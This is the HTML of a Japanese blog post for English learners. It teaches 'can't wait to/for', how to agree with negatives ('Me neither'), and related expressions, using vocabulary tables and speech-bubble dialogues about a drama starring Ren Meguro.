<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">頑張って。頑張っている人が、うまく進まない時や、厳しい状況に置かれているときなどに、相手を鼓舞したり励ましたりする時に応援するフレーズ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>May + 主語 + 動詞原形 ～! </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">～しますように</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 31px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>lady luck</strong></td>
<td style="width: 62.9762%; height: 31px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">幸運の女神</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>dream come true</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">夢が叶う</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>on someone&#8217;s side</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜のそばに</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>support </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を応援する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>admire</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に憧れる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>go for</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を頑張る</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>good luck with</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">～の幸運を祈る</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>dawn</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">夜明け</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 22px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>come to an end</strong></td>
<td style="width: 62.9762%; height: 22px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜が終わる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>Constant dripping wears down the stone.</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">[諺]雨垂れ石をうがつ。根気よく努力すればいつかは成功に通じる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>push oneself too hard</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜が無理をする</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>effort</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">努力</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>definitel </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">必ず、絶対に</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>pay off</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜が報われる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>What doesn’t kill you makes you stronger. </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">悔しさはあたなをもっと強くする。直訳は「あなたを殺さないものはあなたを強くさせる」。慣用句としてよく使われます。what doesn’t kill youは「死なない程度の苦労」という意味</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>glorious</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">最高の</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be hard on oneself</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜自身に厳しくする</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>support</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">支援する、応援する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>root for </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に成功してほしいと願う</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>come into this world</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">生まれる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>bring</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜をもたらす</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>happiness</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">幸せ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>post</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を投稿する、〜をアップする</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>pic </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">picturesの略。写真</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>on SNS </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">SNSに</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>wish one the best with</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜の幸運を祈っています</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217"/></figure>



<p></p>



<h2 class="wp-block-heading">「待ちきれない！」ってなんて言うの？</h2>



<figure class="wp-block-image size-large"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="452" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/smiling-couple-eating-popcorn-watching-tv-while-relaxing-sofa.jpg?resize=678%2C452&#038;ssl=1" alt="" class="wp-image-6819" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/smiling-couple-eating-popcorn-watching-tv-while-relaxing-sofa-scaled.jpg?resize=1024%2C683&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/smiling-couple-eating-popcorn-watching-tv-while-relaxing-sofa-scaled.jpg?resize=300%2C200&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/smiling-couple-eating-popcorn-watching-tv-while-relaxing-sofa-scaled.jpg?resize=768%2C512&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/smiling-couple-eating-popcorn-watching-tv-while-relaxing-sofa-scaled.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/smiling-couple-eating-popcorn-watching-tv-while-relaxing-sofa-scaled.jpg?resize=2048%2C1365&amp;ssl=1 2048w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/smiling-couple-eating-popcorn-watching-tv-while-relaxing-sofa-scaled.jpg?w=1356&amp;ssl=1 1356w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p><strong>S + can&#8217;t wait to/for〜</strong>は、文字通り、<strong>wait(〜を待つ)を否定</strong>することで「<strong>待てない</strong>」と言う意味。<em><strong>とてもワクワクして楽しみにしている、待ちきれない、待ち遠しい、〜したくて堪らない</strong></em>、と簡単に伝えたい時に役立つ表現です。人が主語の場合、これから起きることに対して楽しみという期待の意味を込めて使用することがほとんどです。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_beautiful_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fee5e5"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fee5e5 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can’t wait to watch the new TV series “Shogun 2” starring Ren Meguro!</strong><br>目黒蓮主演の新ドラマ「将軍２」を早く見たいわ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_portrait-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d8ffff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #d8ffff"></span><span class="vk_balloon_content_after "></span>
<p><strong>Same here!</strong><br>私もー！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:40px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f3e6f9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f3e6f9 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong><strong>“Shogun 2” </strong> will start airing in July!</strong><br>「将軍２」が7月から始まるね！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_glasses_people_woman_teenager_avatar-2-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ecfde4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ecfde4"></span><span class="vk_balloon_content_after "></span>
<p><strong>Can’t wait!</strong><br>待ちきれないわ！</p>
</div></div></div>



<p>２つ目の会話のように、何を指しているか明確な場合、主語も目的語も省略して使用することもできて便利です。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffeaf5"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffeaf5 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can’t wait to see Ren every week!</strong><br>毎週、蓮に会えるのが楽しみ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_female_young_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e2faff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e2faff"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can’t wait to watch the next episode!</strong><br>次回も楽しみ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_young_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff3e2"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff3e2 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can’t wait for 2027 that <strong>“Shogun 2”</strong> will premire.</strong><br>2027年の「将軍２」の放送開始が待ち遠しい</p>
</div></div></div>



<p>Wait の後の前置詞が<strong> to </strong>の場合は、<strong>動詞の原形</strong>を、<strong>for</strong> の場合は<strong>名詞</strong>、<strong>代名詞</strong>を使用します。</p>



<p>シンプルに、時間や我慢の限界などネガティブ要素に対する「待てない」という意味で使う場合もありますが、主語やのちに続く文脈から判断します。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_lady_beautiful_people_woman_mother_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d1fded"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d1fded transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>He is running so late. It&#8217;s time to leave so we can&#8217;t wait for him any longer.</strong><br>彼、すごく遅いわね。時間だからもう待ってないで出発しましょう</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:30px;height:auto"/></figure>



<h3 class="wp-block-heading"><strong>Me too（私も） は万能フレーズではない！</strong></h3>



<p>では、<strong>can’t wait </strong>に「私も！」と同意する場合はどのように返答すれば良いでしょうか？</p>



<p><strong>Me too（私も）</strong>を言いたくなってしまいますが、<strong><em>否定型に対して肯定系のMe tooで返答すると、否定の意味</em></strong>になってしまいます。相手が何かを否定したこと（この場合はcan’t）に対して同意する時は<strong>Me neither</strong>や<strong>Neither can I</strong>を使用します。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_cute-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fcffca"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fcffca transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can’t wait to watch the new tv series <strong>“Shogun 2” </strong> starring Ren!</strong><br>目黒蓮主演の新ドラマ「将軍２」を早く見たいわ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_curly_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d0ffec"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #d0ffec"></span><span class="vk_balloon_content_after "></span>
<p><strong>Me neither! ／ Neither can I!</strong><br>私もー！</p>
</div></div></div>



<p>もし、難しいと感じた場合は、<strong>Same here</strong>、<strong>Same with me（同じく）</strong>や、<strong>Agree</strong>、<strong>Agree with you（あなたに賛同します）</strong>と返答すると簡単です！</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>



<h3 class="wp-block-heading"><strong>can&#8217;t waitの違う表現方法もあります！</strong></h3>



<p><strong>can&#8217;t wait</strong>と同等の意味で表現してみましょう。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar_2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f4e0ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f4e0ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">am so excited to </mark>watch <strong>“Shogun 2” </strong> in 2027!</strong><br>2027年に「将軍２」を見るのが楽しみ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_bobtay_people_woman_teenager_avatar_smiley-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e9f7ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e9f7ff"></span><span class="vk_balloon_content_after "></span>
<p><strong>I <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">am looking forward to watching</mark> <strong>“Shogun 2”</strong> in the beginning of July!</strong><br>7月上旬から始まる「将軍２」を見るのが楽しみ！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>


<table style="height: 184px; width: 100%; border-collapse: collapse; border-color: #f6c2cb; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-style: dotted; border-color: #f6c2cb; background-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>単語・イディオム</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>意味・解説</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to star</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">主演する　</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to air</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を放送する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>episode</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">話、エピソード</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to premiere</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を初回放送する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to run late</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に遅れる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be excited to</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に興奮する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to look forward to ＋ 名詞／代名詞／動名詞（動詞＋ing）</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を楽しみにする。
<p>I’m looking forward toはカジュアルな響きがあり日常的に使用できます。一方、I look forward toはフォーマルな響きがありビジネスなどの公の場で使われます。</p>
</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:48px;height:auto"/></figure>



<h2 class="wp-block-heading"><strong>目黒蓮さん主演のドラマトークの花を咲かせよう！</strong></h2>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="382" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/1000_F_799567637_WwuqvrGJUviyTjxsgfLOnxSj60RfXDML-edited.jpg?resize=678%2C382&#038;ssl=1" alt="" class="wp-image-2741" style="width:841px;height:auto" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/1000_F_799567637_WwuqvrGJUviyTjxsgfLOnxSj60RfXDML-edited.jpg?w=1000&amp;ssl=1 1000w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/1000_F_799567637_WwuqvrGJUviyTjxsgfLOnxSj60RfXDML-edited.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/1000_F_799567637_WwuqvrGJUviyTjxsgfLOnxSj60RfXDML-edited.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/1000_F_799567637_WwuqvrGJUviyTjxsgfLOnxSj60RfXDML-edited.jpg?resize=600%2C338&amp;ssl=1 600w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/1000_F_799567637_WwuqvrGJUviyTjxsgfLOnxSj60RfXDML-edited.jpg?resize=678%2C381&amp;ssl=1 678w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p>ドラマ用語やフレーズを学びながら、ドラマトークに花を咲かせてみましょう。さらにジャンルや表現を加えることで会話の内容に幅が出ます。</p>



